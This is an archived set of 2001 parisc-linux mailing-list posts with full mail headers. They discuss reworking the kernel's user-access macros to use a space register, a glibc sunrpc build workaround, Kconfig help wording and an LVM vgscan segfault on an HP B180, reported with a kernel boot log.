Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620584 27274 80.91.229.3 (22 Nov 2014 01:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 02:15:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66FA0482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 02:15:53 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA24881
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Oct 2001 04:15:34 -0400
Content-ID: <24876.1002528934.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12514

Hi!
 
> Someone was asking for a job to do.  Here's one.

It was probably me.

> In include/asm-parisc/uaccess.h, we have a couple of functions which
> look like this:
> 
> #define __get_user(x,ptr)                               \
> ({                                                      \
>         register long __gu_err __asm__ ("r8") = 0;      \
>         register long __gu_val __asm__ ("r9") = 0;      \
>                                                         \
>         if (segment_eq(get_fs(),KERNEL_DS)) {           \
>             switch (sizeof(*(ptr))) {                   \
>             case 1: __get_kernel_asm("ldb",ptr); break; \
>             case 2: __get_kernel_asm("ldh",ptr); break; \
>             case 4: __get_kernel_asm("ldw",ptr); break; \
>             case 8: __get_kernel_asm("ldd",ptr); break; \
>             default: BUG(); break;                      \
>             }                                           \
>         }                                               \
>         else {                                          \
>             switch (sizeof(*(ptr))) {                   \
>             case 1: __get_user_asm("ldb",ptr); break;   \
>             case 2: __get_user_asm("ldh",ptr); break;   \
>             case 4: __get_user_asm("ldw",ptr); break;   \
>             case 8: __get_user_asm("ldd",ptr); break;   \
>             default: BUG(); break;                      \
>             }                                           \
>         }                                               \
>                                                         \
>         (x) = (__typeof__(*(ptr))) __gu_val;            \
>         __gu_err;                                       \
> })
> 
> This is rather suboptimal.  The way it should be done is to always
> access userspace through %sr2 (currently listed as unused).  Set sr2
> to the same value as sr3 normally.  Set it to 0 when someone does a
> set_fs(KERNEL_DS), and to sr3 when USER_DS.  get_fs() should return the
> value of sr2.  None of these functions are called frequently, so there's
> no need to cache the values outside the space registers.

This is slightly over my head, but that is my understanding of what needs
to be done: instead of checking with segment_eq we need a routine,
which just reads from memory, using space from sr2. With proposed
modifications to get_fs, get_ds and set_fs it will automagically contain
a correct value (0 for kernel memory and same as sr3 for userspace).

Is it the correct interpretation? Is it still possible to do in view
of John's comment?

Best regards,

Jurij.







From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Catching interrupt from power switch
Date: Mon, 08 Oct 2001 04:22:09 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <200110080822.EAA25756@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620584 27282 80.91.229.3 (22 Nov 2014 01:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 02:22:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F265482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 02:22:14 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA25756
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Oct 2001 04:22:09 -0400
Content-ID: <25746.1002529328.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12515

Hi!

I am obsessed with idea of catching interrupt from power switch
(it should be possible, according to Lasi docs) and making a
clean shutdown. I thought, that when power button is set to "off", 
trap 2 (power failure interruption) will be generated. Strangely
enough, it didn't. What's wrong? The I-bit in the PSW, controlling
the masking/unmasking of this (and some other interruptions) seems
to be set, so the interruption is unmasked. Anyone has any ideas?

Cheers,

Jurij







From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.2.4-2 Woes...
Date: Mon, 08 Oct 2001 04:26:07 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <200110080826.EAA26514@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620584 27287 80.91.229.3 (22 Nov 2014 01:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 02:26:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2973482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 02:26:12 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA26514
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Oct 2001 04:26:07 -0400
Content-ID: <26509.1002529567.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12516

> 
> M,
> 
> I see what you mean now.
> I have glibc 2.2.4-2 compiling all the way to the point where it
> starts churning thorugh:
> 
> make  -C sunrpc others

Hi!

Stuff fails in sunrpc, because it tries to do something like

rpcgen -Y `gcc -print-file-name=cpp | sed 's|/cpp$||'`

Argument to -Y option should be the dir, where cpp is located, so the
build expects, that `gcc -print-file-name=cpp` will return a full
path to cpp. Well, it does not. It spits out "cpp" and then sed
replacement fails, so the actual command being run is

rpcgen -Y cpp/cpp

It is probably easily fixable, but there is also a simple workaround:

cd .../glibc/sunrpc (NOT glibc-build)
mkdir cpp
cd cpp
ln -s /path_to_real_cpp/cpp cpp

After that I was able to finish the build.

Best regards,

Jurij.







From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A todo entry
Date: Mon, 8 Oct 2001 14:59:15 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20011008145915.B28880@parcelfarce.linux.theplanet.co.uk>
References: <200110080815.EAA24881@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620585 27291 80.91.229.3 (22 Nov 2014 01:43:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 07:59:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B902C482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 07:59:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qaw7-000198-00; Mon, 08 Oct 2001 14:59:15 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110080815.EAA24881@mail.lokmail.net>; from jurij@lokmail.net on Mon, Oct 08, 2001 at 04:15:34AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12517

On Mon, Oct 08, 2001 at 04:15:34AM -0400, Jurij Smakov wrote:
> It was probably me.

probably.  various people hae asked in the past, but you're the most
recent :-)

> This is slightly over my head, but that is my understanding of what needs
> to be done: instead of checking with segment_eq we need a routine,
> which just reads from memory, using space from sr2. With proposed
> modifications to get_fs, get_ds and set_fs it will automagically contain
> a correct value (0 for kernel memory and same as sr3 for userspace).

Right.

> Is it the correct interpretation? Is it still possible to do in view
> of John's comment?

Certainly; John was just pointing out some of the issues to be aware of.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Mon, 08 Oct 2001 16:44:05 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3BC1BBB5.F1ACA@esiee.fr>
References: <200110080348.VAA24289@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620585 27293 80.91.229.3 (22 Nov 2014 01:43:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:05 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 08:50:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A448C4851
	for <parisc-linux@parisc-linux.org>; Mon,  8 Oct 2001 08:50:16 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 935DFD15D4; Mon,  8 Oct 2001 16:50:10 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12518

Hi all,

	I have put the Matthew Wilcox's CPU and 64bit section. For the PDC
narrow, a section was already written. So, I do not the change unless
you tell that:
"
32-bit PDC
CONFIG_PDC_NARROW
  Turning this option on enables support for 32-bit firmware when
running
  a 64-bit kernel.  You should select this option if you have a
workstation
  from the C160-J2240 era.
"
is better than:
"
32-bit PDC
CONFIG_PDC_NARROW
  Saying Y here will allow developers with a C180, C200, C240, C360,
  J200, J210, and/or a J2240 to test 64-bit kernels by providing 
  a wrapper for the 32-bit PDC calls.  Since the machines which 
  which require this option do not support over 4G of RAM, this
  option is targeted for developers of these machines wishing to
  test changes on both 32-bit and 64-bit configurations.

  If unsure, say N.
"

Anyway, thanks for your comment and if you have any idea, please mail
me, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Mon, 8 Oct 2001 15:58:48 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20011008155848.C28880@parcelfarce.linux.theplanet.co.uk>
References: <200110080348.VAA24289@puffin.external.hp.com> <3BC1BBB5.F1ACA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620585 27295 80.91.229.3 (22 Nov 2014 01:43:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:05 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	Matthew Wilcox <willy@debian.org>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 08:59:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 939254864
	for <parisc-linux@parisc-linux.org>; Mon,  8 Oct 2001 08:58:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qbrk-0001s7-00; Mon, 08 Oct 2001 15:58:48 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BC1BBB5.F1ACA@esiee.fr>; from marteaut@esiee.fr on Mon, Oct 08, 2001 at 04:44:05PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12519

My reasoning for the wording was that you're only presented with this
option when you've already selected a 64-bit kernel.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LVM 1.0.1-rc4 on hppa
Date: Mon, 08 Oct 2001 17:08:49 +0200 (CEST)
Lines: 226
Approved: news@gmane.org
Message-ID: <1002553729.3bc1c18187924@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620586 27299 80.91.229.3 (22 Nov 2014 01:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:06 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, lvm-bugs@sistina.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 09:08:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id D43174864
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 09:08:53 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15qc1S-00029a-00; Mon, 08 Oct 2001 17:08:50 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12520

Hi all,

I just co the last cvs of kernel 2.4.9-pa42 and everything seems to work find as 
well as on model 712 as on model B180.

Then I try to have a look into LVM (last 1.0.1-rc4)on the B180:
no error at compile time neither for kernel neither for tools (just warning: 
pv_read_all_pv_of_vg.c:129: warning: deprecated use of label at end of compound 
statement)

Then I try first to do a 'pvcreate /dev/sdb' which failed:
vpcreate -- ERROR: "/etc/lvmtab" doesn't exist; please run vgscan

Also I excute 'vgscan':
Segmentation fault.

Here is my last kernel log:
Oct  8 17:01:44 palinux kernel: klogd 1.4.1#2, log source = /proc/kmsg started.
Oct  8 17:01:44 palinux kernel: Inspecting /boot/System.map-2.4.9-pa42
Oct  8 17:01:46 palinux kernel: Loaded 24521 symbols from 
/boot/System.map-2.4.9-pa42.
Oct  8 17:01:46 palinux kernel: Symbols match kernel version 2.4.9.
Oct  8 17:01:46 palinux kernel: No module symbols loaded - kernel modules not 
enabled. 
Oct  8 17:01:46 palinux kernel: Linux version 2.4.9-pa42 (root@palinux) (gcc 
version 3.0 (Debian)) #2 Mon Oct 8 15:47:51 CEST 2001
Oct  8 17:01:46 palinux kernel: FP[0] enabled: Rev 1 Model 15
Oct  8 17:01:46 palinux kernel: The 32-bit Kernel has started...
Oct  8 17:01:46 palinux kernel: Determining PDC firmware type: System Map.
Oct  8 17:01:46 palinux kernel: model^I00005040 00000481 00000000 02020202 
77ea2456 100000f0 00000004 000000ba 000000ba
Oct  8 17:01:46 palinux kernel: vers^I00000018
Oct  8 17:01:46 palinux kernel: cpuid^I000001f8
Oct  8 17:01:46 palinux kernel: CPUID^Ivers 15 rev 24
Oct  8 17:01:46 palinux kernel: model^I9000/778/B180L
Oct  8 17:01:46 palinux kernel: Total Memory: 128 Mb
Oct  8 17:01:46 palinux kernel: pagetable_init
Oct  8 17:01:46 palinux kernel: On node 0 totalpages: 32768
Oct  8 17:01:46 palinux kernel: zone(0): 32768 pages.
Oct  8 17:01:46 palinux kernel: zone(1): 0 pages.
Oct  8 17:01:46 palinux kernel: zone(2): 0 pages.
Oct  8 17:01:46 palinux kernel: Kernel command line: root=/dev/sda3 HOME=/ 
console=tty0 sti=0 sti_font=VGA8x16 TERM=linux
Oct  8 17:01:46 palinux kernel: Console: colour dummy device 160x64
Oct  8 17:01:46 palinux kernel: Calibrating delay loop... 119.60 BogoMIPS
Oct  8 17:01:46 palinux kernel: Memory: 126052k available
Oct  8 17:01:46 palinux kernel: Dentry-cache hash table entries: 16384 (order: 
5, 131072 bytes)
Oct  8 17:01:46 palinux kernel: Inode-cache hash table entries: 8192 (order: 4, 
65536 bytes)
Oct  8 17:01:46 palinux kernel: Mount-cache hash table entries: 2048 (order: 2, 
16384 bytes)
Oct  8 17:01:46 palinux kernel: Buffer-cache hash table entries: 4096 (order: 2, 
16384 bytes)
Oct  8 17:01:46 palinux kernel: Page-cache hash table entries: 32768 (order: 5, 
131072 bytes)
Oct  8 17:01:46 palinux kernel: POSIX conformance testing by UNIFIX
Oct  8 17:01:46 palinux kernel: Searching for devices...
Oct  8 17:01:46 palinux kernel: Found devices:
Oct  8 17:01:46 palinux kernel: 1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, 
versions 0x504, 0x0, 0x0
Oct  8 17:01:46 palinux kernel: 2. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, 
versions 0x22, 0x0, 0x8c
Oct  8 17:01:46 palinux kernel: 3. Merlin L2+ 180 (9000/778/B180L) (0) at 
0xfffbe000, versions 0x504, 0x0, 0x4
Oct  8 17:01:46 palinux kernel: 4. Merlin+ L2 180 (1) at 0xfffbf000, versions 
0x5a, 0x0, 0x9
Oct  8 17:01:46 palinux kernel: 5. Merlin+ 180 Core BA (11) at 0xffd00000, 
versions 0x3f, 0x0, 0x81,  additional addresses: 0xffc00000 
Oct  8 17:01:46 palinux kernel: 6. Merlin+ 180 Core RS-232 (10) at 0xffd05000, 
versions 0x3f, 0x0, 0x8c
Oct  8 17:01:46 palinux kernel: 7. Merlin+ 180 Core SCSI (10) at 0xffd06000, 
versions 0x3f, 0x0, 0x82
Oct  8 17:01:46 palinux kernel: 8. Merlin+ 180 Core Centronics (10) at 
0xffd02000, versions 0x3f, 0x0, 0x74,  additional addresses: 0xffd03000 
Oct  8 17:01:46 palinux kernel: 9. Merlin+ 180 Core Audio (10) at 0xffd04000, 
versions 0x3f, 0x4, 0x7b
Oct  8 17:01:46 palinux kernel: 10. Merlin+ 180 Core PS/2 Port (10) at 
0xffd08000, versions 0x3f, 0x0, 0x84
Oct  8 17:01:46 palinux kernel: 11. Merlin+ 180 Core PS/2 Port (10) at 
0xffd08100, versions 0x3f, 0x0, 0x84
Oct  8 17:01:46 palinux kernel: 12. Gecko GSC Core Graphics (10) at 0xf8000000, 
versions 0x16, 0x0, 0x85
Oct  8 17:01:46 palinux kernel: 13. Dino PCI Bridge (13) at 0xfff80000, versions 
0x680, 0x3, 0xa
Oct  8 17:01:46 palinux kernel: 14. Merlin+ 132 Dino PS/2 Port (10) at 
0xfff81000, versions 0x22, 0x0, 0x96
Oct  8 17:01:46 palinux kernel: That's a total of 14 devices.
Oct  8 17:01:46 palinux kernel: CPU(s): 1 x PA7300LC (PCX-L2) at 180.000000 MHz
Oct  8 17:01:46 palinux kernel: Dino version 3.1 found at 0xfff80000
Oct  8 17:01:46 palinux kernel: Lasi version 0 at 0xffd00000 found.
Oct  8 17:01:46 palinux kernel: LED display at ffd0c000 registered
Oct  8 17:01:46 palinux kernel: Linux NET4.0 for Linux 2.4
Oct  8 17:01:46 palinux kernel: Based upon Swansea University Computer Society 
NET3.039
Oct  8 17:01:46 palinux kernel: Starting kswapd v1.8
Oct  8 17:01:46 palinux kernel: parport_init_chip: initialize 
bidirectional-mode.
Oct  8 17:01:46 palinux kernel: parport0: PC-style at 0xffd02800, irq 152 
[PCSPP,TRISTATE]
Oct  8 17:01:46 palinux kernel: STI word mode ROM at f0011000, hpa=f8000000
Oct  8 17:01:46 palinux kernel: STI word mode ROM, id 2d08c0a7-9a02587, conforms 
to spec rev. 8.07
Oct  8 17:01:46 palinux kernel: STI device: INTERNAL_EG_1280
Oct  8 17:01:46 palinux kernel: pty: 256 Unix98 ptys configured
Oct  8 17:01:46 palinux kernel: Serial driver version 5.05c (2001-07-08) with 
MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Oct  8 17:01:46 palinux kernel: ttyS00 at iomem 0xffd05800 (irq = 154) is a 
16550A
Oct  8 17:01:46 palinux kernel: ttyS01 at iomem 0xfff83800 (irq = 74) is a 
16550A
Oct  8 17:01:46 palinux kernel: PS/2 keyboard port at 0xffd08000 (irq 133) 
found, device attached.
Oct  8 17:01:46 palinux kernel: PS/2 psaux port at 0xffd08100 (irq 133) found, 
device attached.
Oct  8 17:01:46 palinux kernel: lp0: using parport0 (interrupt-driven).
Oct  8 17:01:46 palinux kernel: Generic RTC Driver v1.02 05/27/1999 Sam Creasey 
(sammy@oh.verio.com)
Oct  8 17:01:46 palinux kernel: block: 128 slots per queue, batch=16
Oct  8 17:01:46 palinux kernel: RAMDISK driver initialized: 16 RAM disks of 
4096K size 1024 blocksize
Oct  8 17:01:46 palinux kernel: loop: loaded (max 8 devices)
Oct  8 17:01:46 palinux kernel: Linux Tulip driver version 0.9.15-pre6 (July 2, 
2001)
Oct  8 17:01:46 palinux kernel: tulip0: no phy info, aborting mtable build
Oct  8 17:01:46 palinux kernel: tulip0:  MII transceiver #1 config 1000 status 
782d advertising 01e1.
Oct  8 17:01:46 palinux kernel: eth0: Digital DS21143 Tulip rev 65 at 0xff00, 
00:10:83:65:09:4B, IRQ 64.
Oct  8 17:01:46 palinux kernel: SCSI subsystem driver Revision: 1.00
Oct  8 17:01:46 palinux kernel: sym53c8xx: at PCI bus 0, device 19, function 0
Oct  8 17:01:46 palinux kernel: sym53c8xx: 53c875 detected 
Oct  8 17:01:46 palinux kernel: sym53c875-0: rev 0x4 on pci bus 0 device 19 
function 0 irq 67
Oct  8 17:01:46 palinux kernel: sym53c875-0: ID 7, Fast-20, Parity Checking
Oct  8 17:01:46 palinux kernel: scsi0 : sym53c8xx-1.7.3c-20010512
Oct  8 17:01:46 palinux kernel:   Vendor: SEAGATE   Model: ST39140WS         
Rev: HP03
Oct  8 17:01:46 palinux kernel:   Type:   Direct-Access                      
ANSI SCSI revision: 02
Oct  8 17:01:46 palinux kernel: sim700: Configuring 53c710 (SCSI-ID 7) at 
ffd06100, IRQ 150, options 0
Oct  8 17:01:46 palinux kernel: scsi1: Revision 0x2
Oct  8 17:01:46 palinux kernel: scsi1: test 1 completed ok.
Oct  8 17:01:46 palinux kernel: scsi1 : LASI/Simple 53c7xx
Oct  8 17:01:46 palinux kernel:   Vendor: SEAGATE   Model: ST32151N          
Rev: HP02
Oct  8 17:01:46 palinux kernel:   Type:   Direct-Access                      
ANSI SCSI revision: 02
Oct  8 17:01:46 palinux kernel: Attached scsi disk sda at scsi0, channel 0, id 
6, lun 0
Oct  8 17:01:46 palinux kernel: Attached scsi disk sdb at scsi1, channel 0, id 
0, lun 0
Oct  8 17:01:46 palinux kernel: sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s 
(50.0 ns, offset 15)
Oct  8 17:01:46 palinux kernel: SCSI device sda: 17773524 512-byte hdwr sectors 
(9100 MB)
Oct  8 17:01:46 palinux kernel: Partition check:
Oct  8 17:01:46 palinux kernel:  sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 >
Oct  8 17:01:46 palinux kernel: SCSI device sdb: 4194685 512-byte hdwr sectors 
(2148 MB)
Oct  8 17:01:46 palinux kernel:  sdb: unknown partition table
Oct  8 17:01:46 palinux kernel: Lasi Harmony Audio rev. 0 at 0xffd04000, using 
IRQ 146
Oct  8 17:01:46 palinux kernel: sticonsole_init: searching for STI ROMs
Oct  8 17:01:46 palinux kernel: Console: switching to colour STI console 160x64
Oct  8 17:01:46 palinux kernel: md: linear personality registered
Oct  8 17:01:46 palinux kernel: md: raid0 personality registered
Oct  8 17:01:46 palinux kernel: md: raid1 personality registered
Oct  8 17:01:46 palinux kernel: md: raid5 personality registered
Oct  8 17:01:46 palinux kernel: raid5: measuring checksumming speed
Oct  8 17:01:46 palinux kernel:    8regs     :   160.000 MB/sec
Oct  8 17:01:46 palinux kernel:    8regs_prefetch:   160.000 MB/sec
Oct  8 17:01:46 palinux kernel:    32regs    :   222.800 MB/sec
Oct  8 17:01:46 palinux kernel:    32regs_prefetch:   222.800 MB/sec
Oct  8 17:01:46 palinux kernel: raid5: using function: 32regs_prefetch (222.800 
MB/sec)
Oct  8 17:01:46 palinux kernel: md: md driver 0.90.0 MAX_MD_DEVS=256, 
MD_SB_DISKS=27
Oct  8 17:01:46 palinux kernel: md: Autodetecting RAID arrays.
Oct  8 17:01:46 palinux kernel: md: autorun ...
Oct  8 17:01:46 palinux kernel: md: ... autorun DONE.
Oct  8 17:01:46 palinux kernel: LVM version 1.0.1-rc4(03/10/2001)
Oct  8 17:01:46 palinux kernel: NET4: Linux TCP/IP 1.0 for NET4.0
Oct  8 17:01:46 palinux kernel: IP Protocols: ICMP, UDP, TCP
Oct  8 17:01:46 palinux kernel: IP: routing cache hash table of 512 buckets, 
4Kbytes
Oct  8 17:01:46 palinux kernel: TCP: Hash tables configured (established 8192 
bind 16384)
Oct  8 17:01:46 palinux kernel: NET4: Unix domain sockets 1.0/SMP for Linux 
NET4.0.
Oct  8 17:01:46 palinux kernel: VFS: Mounted root (ext2 filesystem) readonly.
Oct  8 17:01:46 palinux kernel: Adding Swap: 124924k swap-space (priority -1)
Oct  8 17:01:46 palinux kernel: eth0: Setting half-duplex based on MII#1 link 
partner capability of 0021.
Oct  8 17:06:56 palinux kernel: 
Oct  8 17:06:56 palinux kernel: do_page_fault() pid=201 command='vgscan' type=15 
address=0xffffffec
Oct  8 17:06:56 palinux kernel: vm_start = 0xfaf00000, vm_end = 0xfaf02000
Oct  8 17:06:56 palinux kernel: 
Oct  8 17:06:56 palinux kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Oct  8 17:06:56 palinux kernel: PSW: 00000000000001000000000000001111
Oct  8 17:06:56 palinux kernel: r0-3^I 00000000 401c757c 4003c507 faf006c0
Oct  8 17:06:56 palinux kernel: r4-7^I 4006d0b8 0000003f 0002227c 00000001
Oct  8 17:06:56 palinux kernel: r8-11^I 00000000 00000076 00000064 0000003f
Oct  8 17:06:56 palinux kernel: r12-15^I 00011800 0002227c 00011800 0002227c
Oct  8 17:06:56 palinux kernel: r16-19^I 0002227c 00000000 00014000 401c557c
Oct  8 17:06:56 palinux kernel: r20-23^I 00000000 00000000 00000002 00000001
Oct  8 17:06:56 palinux kernel: r24-27^I 0000001f 401c07d0 00010fff 0002227c
Oct  8 17:06:56 palinux kernel: r28-31^I 00000000 00000000 faf00700 40154d23
Oct  8 17:06:56 palinux kernel: sr0-3^I 00000000 000002b8 00000000 000002b8
Oct  8 17:06:56 palinux kernel: sr4-7^I 000002b8 000002b8 000002b8 000002b8
Oct  8 17:06:56 palinux kernel: 
Oct  8 17:06:56 palinux kernel: IASQ: 000002b8 000002b8 IAOQ: 4015dc8b 4015dc8f
Oct  8 17:06:56 palinux kernel:  IIR: 4a963fd9    ISR: 000002b8  IOR: ffffffec
Oct  8 17:06:56 palinux kernel:  CPU:        0   CR30: 170d8000 CR31: 10358000
Oct  8 17:06:56 palinux kernel:  ORIG_R28: 00000003

Thanks in advance for all advices,
        joel

-------------------------------------------------
